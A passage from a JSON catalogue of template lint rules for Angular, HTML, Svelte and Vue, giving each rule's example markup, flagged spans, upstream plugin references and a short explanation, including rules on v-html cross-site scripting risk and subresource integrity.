        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          8,
          9,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 4,
            "length": 21,
            "line": 6
          }
        ]
      },
      "fix": null,
      "id": "no-useless-children-snippet",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-useless-children-snippet",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-useless-children-snippet/"
        }
      ],
      "why": "It is the same as writing the content in the component, and the longer form hides that.\n\nTo fix, write the content without the snippet."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a string literal in `{ }` (`{\"text\"}`).",
      "example": {
        "config": null,
        "fixed": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} {id} {id} bind:group class:on>\n<input bind:value class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "input": "<head></head>\n<svelte:head><title>t</title></svelte:head>\n<input on:click={a} on:click={a} on:click|once={c} use:tip use:tip use:other style:color=\"a\" style:color|important={b}>\n<input type=\"checkbox\" bind:value={v} bind:checked={v} id={id} {id} bind:group={group} class:on={on}>\n<input bind:value={value} class:big>\n<C>{#snippet children()}hi{/snippet}</C>\n<C>{#snippet children(x)}{x}{/snippet}</C>\n<p style:marginLeft=\"1px\" style:margin-left=\"1px\" style:--x=\"1\"></p>\n<p>{\"text\"} {'it'} {`tpl`} {`a${b}`} {\"a'b\"} {text}</p>\n<p>{{ a: 1 }} {[1]} {function () {}} {text}</p>\n<!--bad--> <!-- ok --> <!---->\n<div><style>a { color: red }</style></div>\n<a href=\"https://x.org\" target=\"_blank\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noopener noreferrer\">x</a>\n<a href=\"https://x.org\" target=\"_blank\" rel=\"noreferrer\">x</a>\n<a href=\"/local\" target=\"_blank\">x</a>\n",
        "language": "svelte",
        "other_lines": [
          1,
          3,
          4,
          5,
          6,
          8,
          10,
          11,
          12,
          13,
          15
        ],
        "spans": [
          {
            "column": 4,
            "length": 8,
            "line": 9
          },
          {
            "column": 13,
            "length": 6,
            "line": 9
          },
          {
            "column": 20,
            "length": 7,
            "line": 9
          },
          {
            "column": 38,
            "length": 7,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "no-useless-mustaches",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "no-useless-mustaches",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/no-useless-mustaches/"
        }
      ],
      "why": "It is only text, so the braces and the quotes add noise and suggest a value that is computed.\n\nTo fix, write the text without the braces."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `:key` on a child of a `<template v-for>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          10,
          11,
          13,
          14,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 35,
            "length": 4,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "no-v-for-template-key-on-child",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-v-for-template-key-on-child",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-v-for-template-key-on-child.html"
        }
      ],
      "why": "In Vue 3 the key belongs on the `<template v-for>`; a key on a child is not used, so the list is patched in place and state stays on the wrong element.\n\nTo fix, move the `:key` to the `<template>`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports an element with `v-html`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div v-html=\"comment\"></div>\n  <div>{{ comment }}</div>\n</template>\n",
        "language": "vue",
        "other_lines": [],
        "spans": [
          {
            "column": 3,
            "length": 22,
            "line": 2
          }
        ]
      },
      "fix": null,
      "id": "no-v-html",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-v-html",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-v-html.html"
        }
      ],
      "why": "`v-html` inserts the text as markup, so a value that a user wrote can carry a script and runs it in the page: a cross-site scripting hole.\n\nTo fix, render the text with `{{ }}`, or sanitize the value first."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports an element with `v-text`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          19
        ],
        "spans": [
          {
            "column": 8,
            "length": 6,
            "line": 18
          }
        ]
      },
      "fix": null,
      "id": "no-v-text",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "no-v-text",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-v-text.html"
        }
      ],
      "why": "`v-text` replaces the whole content of the element, while `{{ }}` can sit among other text, and most Vue code uses the mustache, so two forms mean the same.\n\nTo fix, write `{{ }}` in the element."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports `v-html` and `v-text` on a component. Only in `.vue` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          7,
          9,
          10,
          11,
          14,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 13,
            "length": 6,
            "line": 13
          }
        ]
      },
      "fix": null,
      "id": "no-v-text-v-html-on-component",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "no-v-text-v-html-on-component",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/no-v-text-v-html-on-component.html"
        }
      ],
      "why": "The directive replaces the content of the component, which does not render its children as HTML or text, so nothing shows.\n\nTo fix, pass the value as a prop or as a slot."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an end tag of a void element (`</br>`, `</img>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<br></br>\n<p>x</p>\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "no-void-end-tag",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-standard"
      ],
      "upstream": [
        {
          "id": "void-content",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/void-content.html"
        }
      ],
      "why": "A void element has no content and no end tag, and the browser ignores `</br>`, but a stray `</p>` or `</br>` is one of the most common signs of markup that was converted wrongly.\n\nTo fix, remove the end tag."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `<input type=\"button\">`, `type=\"submit\"`, `type=\"reset\"` and `type=\"image\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head>\n<title> </title>\n</head>\n<body aria-hidden=\"true\">\n<h1></h1>\n<h2><img src=\"a.png\" alt=\"x\"></h2>\n<h3>text</h3>\n<div role=\"widget\"></div>\n<div role=\"button\"></div>\n<button>Go</button>\n<button type=\"button\">Go</button>\n<input name=\"a\">\n<input type=\"text\" name=\"b\">\n<input type=\"submit\" value=\"Go\">\n<video autoplay></video>\n<video controls></video>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          4,
          6,
          7,
          10,
          12,
          14,
          17
        ],
        "spans": [
          {
            "column": 8,
            "length": 13,
            "line": 16
          }
        ]
      },
      "fix": null,
      "id": "prefer-button",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-button",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/prefer-button.html"
        }
      ],
      "why": "A `<button>` can hold markup (an icon with text) and is styled like any other element; an `<input>` button shows only its `value` and has fewer ways to style.\n\nTo fix, use a `<button>` with the same `type`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `*ngIf` or `*ngFor` attribute and a `[ngSwitch]` binding: the directives that the `@if`, `@for` and `@switch` blocks of Angular 17 replace. The `*ngSwitchCase` and `*ngSwitchDefault` inside a switch are not reported again.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<div (click)=\"a()\"></div>\n<div (click)=\"a()\" (keydown.enter)=\"a()\" tabindex=\"0\"></div>\n<div on-click=\"a()\" role=\"presentation\"></div>\n<button (click)=\"a()\"></button>\n<a (click)=\"a()\" routerLink=\"/x\">x</a>\n<a (click)=\"a()\">x</a>\n<app-card (click)=\"a()\"></app-card>\n<div role=\"heading\" (keydown)=\"a()\"></div>\n@if (ok) { <div (click)=\"a()\" aria-hidden=\"true\"></div> }\n<div (mouseover)=\"a()\"></div>\n<div (mouseout)=\"a()\" (blur)=\"b()\"></div>\n<label>Name</label>\n<input id=\"a\" /> <label for=\"a\">Name</label> <label [for]=\"id\">Name</label> <label><input /></label>\n@if (ok) { <a></a> }\n<h2></h2>\n<a [innerHTML]=\"html\"></a> <a><img alt=\"x\" /></a> <a aria-label=\"x\"></a> <a>{{ x }}</a>\n<input autofocus />\n<dialog><input autofocus /></dialog>\n<mat-sidenav [autoFocus]=\"x\"></mat-sidenav> <input [autofocus]=\"y\" />\n<p *ngIf=\"a\">x</p>\n<p *ngFor=\"let x of xs\">x</p>\n<div [ngSwitch]=\"a\"><i *ngSwitchCase=\"1\"></i></div>\n<td scope=\"row\"></td>\n<th scope=\"row\"></th>\n<img src=\"a.png\" aria-hidden=\"true\" />\n<img [alt]=\"t\" src=\"a.png\" /> <area href=\"/x\" /> <input type=\"image\" />\n",
        "language": "angular",
        "other_lines": [
          1,
          4,
          6,
          10,
          12,
          14,
          15,
          17,
          19,
          23,
          25,
          26
        ],
        "spans": [
          {
            "column": 4,
            "length": 9,
            "line": 20
          },
          {
            "column": 4,
            "length": 20,
            "line": 21
          },
          {
            "column": 6,
            "length": 14,
            "line": 22
          }
        ]
      },
      "fix": null,
      "id": "prefer-control-flow",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/angular-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-control-flow",
          "partial": false,
          "tool": "angular-eslint",
          "url": "https://github.com/angular-eslint/angular-eslint/blob/v22.8.0/packages/eslint-plugin-template/docs/rules/prefer-control-flow.md"
        }
      ],
      "why": "The built-in blocks are part of the template syntax, so they need no import of `CommonModule` or of the directive, type-check their conditions more strictly and run without the directive's runtime code. `@for` also requires a `track` expression, which `*ngFor` leaves to an optional `trackBy`.\n\nTo migrate, run `ng generate @angular/core:control-flow`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `role` that a native element already has (`main`, `navigation`, `button`, `list`, ...) when it is on an element that is not that one (`<div role=\"main\">`, `<a role=\"button\">`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<html lang=\"en\">\n<head><title>x</title></head>\n<body>\n<input type=\"text\" name=\"a\">\n<label>L <input type=\"text\" name=\"b\"></label>\n<label for=\"c\">C</label><input type=\"text\" id=\"c\">\n<input type=\"text\" aria-label=\"d\">\n<input type=\"hidden\" name=\"e\">\n<label>a <input id=\"x\"> <input id=\"y\"></label>\n<map name=\"m\"><area href=\"x\"><area href=\"y\" alt=\"ok\"><area alt=\"z\"></map>\n<map name=\"m\"></map>\n<svg><path d=\"\"></path></svg>\n<svg focusable=\"false\"></svg>\n<nav aria-label=\"a\"></nav><nav aria-label=\"a\"></nav>\n<nav></nav><aside></aside>\n<div aria-label=\"x\">y</div>\n<span role=\"button\" aria-label=\"x\">y</span>\n<a aria-label=\"x\">y</a>\n<a href=\"x\" aria-label=\"x\">y</a>\n<div role=\"main\"></div>\n<span role=\"button\"></span>\n<main role=\"main\"></main>\n<a href=\"#\" role=\"button\">x</a>\n<button></button>\n<button aria-label=\"x\"></button>\n<button><img src=\"a\" alt=\"x\"></button>\n<button><svg focusable=\"false\"><title>x</title></svg></button>\n<button><svg focusable=\"false\"><use href=\"#a\"/></svg></button>\n<button><img src=\"a\" alt=\"\"></button>\n<button><span>x</span></button>\n</body>\n</html>\n",
        "language": "html",
        "other_lines": [
          5,
          10,
          11,
          12,
          13,
          15,
          16,
          17,
          19,
          23,
          25,
          29,
          30
        ],
        "spans": [
          {
            "column": 7,
            "length": 13,
            "line": 18
          },
          {
            "column": 6,
            "length": 11,
            "line": 21
          },
          {
            "column": 7,
            "length": 13,
            "line": 22
          },
          {
            "column": 13,
            "length": 13,
            "line": 24
          }
        ]
      },
      "fix": null,
      "id": "prefer-native-element",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-native-element",
          "note": "14 roles with a native element; other roles are not checked",
          "partial": true,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/prefer-native-element.html"
        }
      ],
      "why": "A native element comes with the keyboard handling, focus and semantics of its role. An element with a `role` must be given all of that by script and styles.\n\nTo fix, use the native element."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports a `<tr>` that is directly in a `<table>`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<table><tr><td>a</td></tr></table>\n<table><tbody><tr><td>a</td></tr></tbody></table>\n<main></main>\n<main hidden></main>\n<main></main>\n<p id=\"a\"></p>\n<p id=\"a\"></p>\n<p id=\"b\" class=\"x y x\"></p>\n<p id=\"\"></p>\n<p id=\"\"></p>\n<ul><li>a</li></ul>\n<div><li>b</li></div>\n",
        "language": "html",
        "other_lines": [
          7,
          9,
          10,
          11,
          12,
          14
        ],
        "spans": [
          {
            "column": 8,
            "length": 1,
            "line": 3
          }
        ]
      },
      "fix": null,
      "id": "prefer-tbody",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "prefer-tbody",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/prefer-tbody.html"
        }
      ],
      "why": "The browser puts it into an implied `<tbody>`, so the DOM differs from the markup, and a selector such as `table > tr` never matches.\n\nTo fix, write the `<tbody>`."
    },
    {
      "category": "style",
      "default_level": "off",
      "description": "Reports `role=\"presentation\"`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<nav role=\"navigation\"></nav>\n<button role=\"button\">x</button>\n<a href=\"x\" role=\"link\">x</a>\n<a role=\"link\">x</a>\n<ul role=\"list\"></ul>\n<div role=\"navigation\"></div>\n<p role=\"presentation\"></p>\n<p role=\"none\"></p>\n",
        "language": "html",
        "other_lines": [
          3,
          4,
          5,
          7
        ],
        "spans": [
          {
            "column": 4,
            "length": 19,
            "line": 9
          }
        ]
      },
      "fix": null,
      "id": "presentation-role-style",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-validate-recommended"
      ],
      "upstream": [
        {
          "id": "presentation-role-style",
          "partial": false,
          "tool": "html-validate",
          "url": "https://html-validate.org/rules/presentation-role-style.html"
        }
      ],
      "why": "`none` and `presentation` mean the same, and ARIA 1.2 prefers `none`. Using one name keeps the files uniform.\n\nTo fix, write `role=\"none\"`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports a `<component>` element with no `:is` (`v-bind:is`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<template>\n  <div>\n    <template><p>lone</p></template>\n    <template v-if=\"a\"><p>ok</p></template>\n    <template #head><p>ok</p></template>\n    <textarea>{{ text }}</textarea>\n    <component></component>\n    <component :is=\"view\" />\n    <template v-for=\"x in xs\"><li :key=\"x\" /></template>\n    <li v-for=\"x in xs\">k</li>\n    <template v-for=\"x in xs\"><li>k</li></template>\n    <MyCard v-for=\"x in xs\" />\n    <MyCard v-html=\"h\" />\n    <b v-if=\"a\" /><i v-else-if=\"a || b\" /><i v-else-if=\"a\" />\n    <li v-else v-for=\"x in xs\" :key=\"x\" />\n    <template v-for=\"x in xs\" :key=\"x\"><li /></template>\n    <p v-html=\"h\">child</p>\n    <p v-text=\"t\"> </p>\n    <a :href=\"u\" target=\"_blank\">x</a>\n  </div>\n</template>\n",
        "language": "vue",
        "other_lines": [
          3,
          6,
          9,
          10,
          11,
          13,
          14,
          15,
          17,
          18,
          19
        ],
        "spans": [
          {
            "column": 6,
            "length": 9,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "require-component-is",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "require-component-is",
          "partial": false,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/require-component-is.html"
        }
      ],
      "why": "`<component>` renders what `is` names and nothing without it, so the element shows nothing.\n\nTo fix, add `:is` with the component or tag name to render."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a prop that is not required, has no `default` and is not a `Boolean` (`defineProps({ a: String })`). With a type (`defineProps<{ a?: string }>()`) only a component that sets defaults (`withDefaults`, a props destructure) is checked.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<script>\nexport default {\n  props: {\n    a: String,\n    b: { type: String, default: '' },\n    c: { required: true, type: Number },\n    d: Boolean,\n    e: [String, Number],\n    f: {},\n    g: Object,\n  },\n  data() {\n    return { a: 1, h: 2 }\n  },\n  computed: {\n    h() { return 1 },\n    get k() { return 1 },\n    set k(v) {},\n  },\n  methods: { go() {} },\n}\n</script>\n\n<script setup>\ndefineProps(['x', 'y'])\nconst ok = 1\nconst model = defineModel()\n</script>\n",
        "language": "vue",
        "other_lines": [
          13,
          16,
          25,
          27
        ],
        "spans": [
          {
            "column": 5,
            "length": 9,
            "line": 4
          },
          {
            "column": 5,
            "length": 19,
            "line": 8
          },
          {
            "column": 5,
            "length": 5,
            "line": 9
          },
          {
            "column": 5,
            "length": 9,
            "line": 10
          }
        ]
      },
      "fix": null,
      "id": "require-default-prop",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "require-default-prop",
          "note": "a type that comes from another file is skipped (the plugin has no type information there either), a component object only at the top level as for `no-dupe-keys`",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/require-default-prop.html"
        }
      ],
      "why": "The prop is `undefined` when the parent leaves it out, and the template or code then fails on it or shows `undefined`.\n\nTo fix, add a `default`, or mark the prop `required`."
    },
    {
      "category": "correctness",
      "default_level": "warn",
      "description": "Reports an `{#each}` block with no key (`{#each items as item}`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "{#each items as item}\n  <p>{item}</p>\n{/each}\n{#each items as item (item.id)}\n  <p>{item}</p>\n{/each}\n{#each items as { id, name }, i (id)}{name}{/each}\n",
        "language": "svelte",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 21,
            "line": 1
          }
        ]
      },
      "fix": null,
      "id": "require-each-key",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-svelte-recommended"
      ],
      "upstream": [
        {
          "id": "require-each-key",
          "partial": false,
          "tool": "eslint-plugin-svelte",
          "url": "https://sveltejs.github.io/eslint-plugin-svelte/rules/require-each-key/"
        }
      ],
      "why": "Without a key the block updates the elements in place when the list changes, which keeps stale state in inputs and components and breaks transitions.\n\nTo fix, add a key, `{#each items as item (item.id)}`."
    },
    {
      "category": "correctness",
      "default_level": "error",
      "description": "Reports an `@for` block with no `track` expression. Only in `.component.html` files.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<input ([ngModel])=\"a\" [(ngModel)]=\"b\" />\n<p *ngIf=\"a == b && c !== d\">{{ a != b ? \"x == y\" : 1 }}</p>\n<p *ngIf=\"!(a$ | async)\"></p>\n<p [hidden]=\"(a$ | async) === false || x\"></p>\n<p *ngIf=\"!a$ | async\"></p>\n@if (a == 1) { <b></b> }\n@for (x of xs) { <i></i> }\n@for (x of xs; track x.id) { <i></i> }\n",
        "language": "angular",
        "other_lines": [
          1,
          2,
          3,
          4,
          6
        ],
        "spans": [
          {
            "column": 1,
            "length": 17,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "require-for-track",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [],
      "why": "Angular needs the expression to tell the items of the list apart, and it stops the build without it. With a good key it moves the elements when the list changes instead of rebuilding them.\n\nTo fix, add `; track item.id` (a unique value of the item) to the `@for`."
    },
    {
      "category": "correctness",
      "default_level": "off",
      "description": "Reports an `<li>` whose parent is not a list (`<ul>`, `<ol>` or `<menu>`).",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<table><tr><td>a</td></tr></table>\n<table><tbody><tr><td>a</td></tr></tbody></table>\n<main></main>\n<main hidden></main>\n<main></main>\n<p id=\"a\"></p>\n<p id=\"a\"></p>\n<p id=\"b\" class=\"x y x\"></p>\n<p id=\"\"></p>\n<p id=\"\"></p>\n<ul><li>a</li></ul>\n<div><li>b</li></div>\n",
        "language": "html",
        "other_lines": [
          3,
          7,
          9,
          10,
          11,
          12
        ],
        "spans": [
          {
            "column": 6,
            "length": 1,
            "line": 14
          }
        ]
      },
      "fix": null,
      "id": "require-li-container",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/html-eslint-recommended"
      ],
      "upstream": [
        {
          "id": "require-li-container",
          "partial": false,
          "tool": "html-eslint",
          "url": "https://html-eslint.org/docs/rules/require-li-container"
        }
      ],
      "why": "An `<li>` outside a list is not a list item, so a screen reader announces no list, and the browser draws no marker.\n\nTo fix, put the item in a list."
    },
    {
      "category": "suspicious",
      "default_level": "warn",
      "description": "Reports a prop in the array form (`defineProps(['a'])`), and an object with no `type` or `validator`.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<script>\nexport default {\n  props: {\n    a: String,\n    b: { type: String, default: '' },\n    c: { required: true, type: Number },\n    d: Boolean,\n    e: [String, Number],\n    f: {},\n    g: Object,\n  },\n  data() {\n    return { a: 1, h: 2 }\n  },\n  computed: {\n    h() { return 1 },\n    get k() { return 1 },\n    set k(v) {},\n  },\n  methods: { go() {} },\n}\n</script>\n\n<script setup>\ndefineProps(['x', 'y'])\nconst ok = 1\nconst model = defineModel()\n</script>\n",
        "language": "vue",
        "other_lines": [
          4,
          8,
          10,
          13,
          16
        ],
        "spans": [
          {
            "column": 5,
            "length": 5,
            "line": 9
          },
          {
            "column": 14,
            "length": 3,
            "line": 25
          },
          {
            "column": 19,
            "length": 3,
            "line": 25
          },
          {
            "column": 15,
            "length": 13,
            "line": 27
          }
        ]
      },
      "fix": null,
      "id": "require-prop-types",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [
        "html/eslint-plugin-vue-recommended"
      ],
      "upstream": [
        {
          "id": "require-prop-types",
          "note": "a type it cannot resolve in the file is skipped, a component object only at the top level as for `no-dupe-keys`",
          "partial": true,
          "tool": "eslint-plugin-vue",
          "url": "https://eslint.vuejs.org/rules/require-prop-types.html"
        }
      ],
      "why": "A prop with no type accepts anything, so a wrong value is shown only as a failure far from the cause, and the component has no documentation of what it takes.\n\nTo fix, write the prop as an object with a `type`."
    },
    {
      "category": "suspicious",
      "default_level": "off",
      "description": "Reports a `<script src>` and a `<link rel=\"stylesheet\" href>` with no `integrity` attribute.",
      "example": {
        "config": null,
        "fixed": null,
        "input": "<!DOCTYPE html>\n<title>x</title>\n<script src=\"https://cdn.example/a.js\"></script>\n<script src=\"https://cdn.example/b.js\" integrity=\"sha384-x\" crossorigin=\"anonymous\"></script>\n<script src=\"a.js\"></script>\n<link rel=\"stylesheet\" href=\"https://cdn.example/a.css\">\n<link rel=\"stylesheet\" href=\"a.css\">\n<link rel=\"icon\" href=\"https://cdn.example/a.png\">\n",
        "language": "html",
        "other_lines": [],
        "spans": [
          {
            "column": 1,
            "length": 1,
            "line": 3
          },
          {
            "column": 1,
            "length": 1,
            "line": 5
          },
          {
            "column": 1,
            "length": 1,
            "line": 6
          },
          {
            "column": 1,
            "length": 1,
            "line": 7
          }
        ]
      },
      "fix": null,
      "id": "require-sri",
      "languages": [
        "angular",
        "html",
        "svelte",
        "vue"
      ],
      "options": [],
      "presets": [],
      "upstream": [
        {
          "id": "require-sri",
          "note": "no target, include and exclude options",
          "partial": true,
          "tool": "html-validate",
